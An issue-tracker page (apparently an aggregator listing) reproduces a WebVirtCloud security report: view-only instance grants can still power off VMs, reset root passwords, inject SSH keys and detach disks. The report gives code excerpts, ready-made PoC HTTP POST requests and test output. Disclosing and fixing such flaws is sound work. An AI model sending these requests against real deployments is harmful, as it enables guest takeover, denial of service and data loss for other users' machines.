Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

View-only instance grant (is_change=False) can still power off, reset root password, inject SSH key, mount ISO and detach disks

未关闭
#682 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

还没有人认领这个 Issue。

评估

难度
4/5
预计耗时
3-5 天
新手友好度
52/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
冷清
技术栈
django, python

调研方向

Start in instances/views.py with get_instance() and compare the listed power, password, SSH key, disk, and ISO views against resizevm_cpu and the other views that enforce grant flags. Verify that view-only requests cannot reach the relevant proxy actions, while ordinary instance viewing and existing privileged access remain available. Also check add_public_key's UserSSHKey lookup against the ownership concern described in the issue.

由索引模型根据 Issue 内容生成。

描述

Summary

WebVirtCloud lets an administrator grant a user access to a specific instance with three independent flags on the UserInstance grant: is_vnc (may open the console), is_change (may modify the VM) and is_delete (may delete the VM). A grant with all flags False is meant to be read-only: the user can see the instance but must not be able to change or control it.

Most state-changing instance views do not check these flags. They only verify, via get_instance(), that the user holds some grant for the instance. As a result a user who was given a view-only grant (is_change=False, is_delete=False, is_vnc=False) can still power the VM on and off, reset the guest root password, install an SSH public key into the guest, mount and unmount ISO images, and detach the VM's disks. A small set of sibling views (resizevm_cpu, resize_memory, resize_disk, change_options, update_console) correctly enforce is_change/is_vnc, which shows the flags are intended to be enforced everywhere.

Details

The grant model (accounts/models.py):

class UserInstance(models.Model):
    user = models.ForeignKey(User, on_delete=models.CASCADE)
    instance = models.ForeignKey(Instance, on_delete=models.CASCADE)
    is_change = models.BooleanField(default=False)
    is_delete = models.BooleanField(default=False)
    is_vnc = models.BooleanField(default=False)

The shared gate (instances/views.py, lines 316-330):

def get_instance(user, pk):
    """
    Check that instance is available for user, if not raise 404
    """
    instance = get_object_or_404(Instance, pk=pk)
    user_instances = user.userinstance_set.all().values_list("instance", flat=True)

    if (
        user.is_superuser
        or user.has_perm("instances.view_instances")
        or instance.id in user_instances
    ):
        return instance
    else:
        raise Http404()

get_instance() only answers "does this user hold a grant for this instance?" It does not look at is_change, is_delete or is_vnc. Any view that authorizes with get_instance() alone treats every grant as full control.

Views that correctly enforce the flag (the intended pattern), e.g. resizevm_cpu (lines 538-573):

def resizevm_cpu(request, pk):
    instance = get_instance(request.user, pk)
    try:
        userinstance = instance.userinstance_set.get(user=request.user)
    except Exception:
        userinstance = UserInstance(is_change=False)
    ...
    if request.method == "POST":
        if request.user.is_superuser or request.user.is_staff or userinstance.is_change:
            ...
            instance.proxy.resize_cpu(cur_vcpu, vcpu)

The same is_change check appears in resize_memory (line 587), resize_disk (line 636) and change_options (line 1541), and update_console (line 1479) checks is_vnc.

Views that DO NOT enforce the flag (the bug). They call get_instance() and then act:

poweroff (lines 356-363), also poweron, powercycle, force_off:

def poweroff(request, pk):
    instance = get_instance(request.user, pk)
    instance.proxy.shutdown()
    addlogmsg(request.user.username, instance.compute.name, instance.name, _("Power Off"))
    return redirect(request.META.get("HTTP_REFERER"))

set_root_pass (lines 473-500) resets the guest root password:

def set_root_pass(request, pk):
    instance = get_instance(request.user, pk)
    if request.method == "POST":
        passwd = request.POST.get("passwd", None)
        if passwd:
            passwd_hash = crypt_r.crypt(passwd, "$6$kgPoiREy")
            data = {"action": "password", "passwd": passwd_hash, "vname": instance.name}
            if instance.proxy.get_status() == 5:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((instance.compute.hostname, 16510))
                s.send(bytes(json.dumps(data).encode()))
                ...

add_public_key (lines 503-535) installs an SSH public key into the guest. Note it also fetches the key with no owner filter:

def add_public_key(request, pk):
    instance = get_instance(request.user, pk)
    if request.method == "POST":
        sshkeyid = request.POST.get("sshkeyid", "")
        publickey = UserSSHKey.objects.get(id=sshkeyid)   # any user's key id
        data = {"action": "publickey", "key": publickey.keypublic, "vname": instance.name}
        if instance.proxy.get_status() == 5:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((instance.compute.hostname, 16510))
            ...

detach_vol (lines 887-900) and mount_iso/unmount_iso (lines 955-967): gated only by a template check, not by is_change:

def detach_vol(request, pk):
    instance = get_instance(request.user, pk)
    allow_admin_or_not_template = (
        request.user.is_superuser or request.user.is_staff or not instance.is_template
    )
    if allow_admin_or_not_template:
        dev = request.POST.get("dev", "")
        instance.proxy.detach_disk(dev)

So for a normal (non-staff) user with a view-only grant on a normal (non-template) instance, allow_admin_or_not_template is True and the disk is detached.

The instance ids are sequential integers exposed in the instance list (/instances/) and in every URL, so a user always knows the pk of the instances they were granted; the attack uses an instance the user WAS granted (view-only), so no guessing is needed.

PoC

Set up: as admin, create a user and grant them access to one instance with all flags unchecked (Instances -> instance -> Owners, add the user; in the admin the UserInstance row has is_change=False, is_delete=False, is_vnc=False). Log in as that user.

The following requests all succeed despite the view-only grant. Replace ID with the granted instance's pk and reuse the session cookie + CSRF token from a normal page load.

Power off the VM (no is_change needed):

POST /instances/ID/poweroff/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=...

Reset the guest root password:

POST /instances/ID/rootpasswd/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=...&passwd=AttackerPass123!

Detach a disk:

POST /instances/ID/detach_vol/ HTTP/1.1
Cookie: sessionid=...; csrftoken=...
Content-Type: application/x-www-form-urlencoded

csrfmiddlewaretoken=...&dev=vdb&path=/var/lib/libvirt/images/disk.qcow2

Observed result from the real view code (recording mock on Instance.proxy, libvirt stubbed only at the hypervisor boundary; the authorization layer is unmodified):

SEED: inst_a.pk=7 (vouser view-only grant)  inst_b.pk=8 (NO grant)
LOGIN: vouser logged in
=== A) view-only user (is_change=False) acting on GRANTED instance A ===
[poweroff A]
   http=302  hypervisor_calls=['shutdown']
[set_root_pass A]
   http=EXC:ConnectionRefusedError:[Errno 111] Connection refused  hypervisor_calls=[]
[add_public_key A (victim key)]
   http=EXC:ConnectionRefusedError:[Errno 111] Connection refused  hypervisor_calls=[]
[detach_vol A]
   http=302  hypervisor_calls=['detach_disk']
[mount_iso A]
   http=302  hypervisor_calls=['mount_iso']
=== B) SAME view-only user, SIBLING resize views (is_change enforced) ===
[resizevm_cpu A (is_change gate)]
   http=302  hypervisor_calls=[]
[resize_memory A (is_change gate)]
   http=302  hypervisor_calls=[]
=== C) cross-user IDOR control: same user on NON-GRANTED instance B ===
[poweroff B (no grant -> should 404)]
   http=404  hypervisor_calls=[]

Reading the output:

  • poweroff/detach_vol/mount_iso reached the real hypervisor calls (shutdown, detach_disk, mount_iso) for a view-only user.
  • set_root_pass and add_public_key passed authorization and ran the code that opens a socket to host:16510; the ConnectionRefusedError is only because the test box has no guest-agent listener. On a real deployment these reset the root password and inject the SSH key.
  • The gated siblings resizevm_cpu/resize_memory made no hypervisor call for the same user (is_change correctly enforced).
  • poweroff on a non-granted instance returned 404 (cross-user access correctly blocked).
Impact

A user who was deliberately given read-only access to a VM can fully control it: power it off (denial of service), reset the guest root password and inject an SSH key (full guest takeover after the next boot), mount or unmount ISO media, and detach the VM's disks (data loss). The protection the administrator selected when choosing a view-only grant is silently ignored for these actions, while the resize/console actions correctly honor it. Additionally, add_public_key looks up the SSH key by id with no ownership filter, so any stored public key can be selected for injection.

Affected Versions: all current versions, confirmed on commit 1b2da68b2800f94674dd96f4a986cde30ac88280

主要语言
JavaScript
星标
1.9k
派生
399
平均合并
1 小时 10 分钟
30 天内合并 PR
4

环境准备

  • 提供 Dockerfile 或 Docker Compose 文件
  • 没有 Pull Request 模板
  • 没有贡献指南

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

retspen/webvirtcloud 的其他 Issue

查看 retspen/webvirtcloud 的全部 Issue

相似的 Issue

更多 JavaScript Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。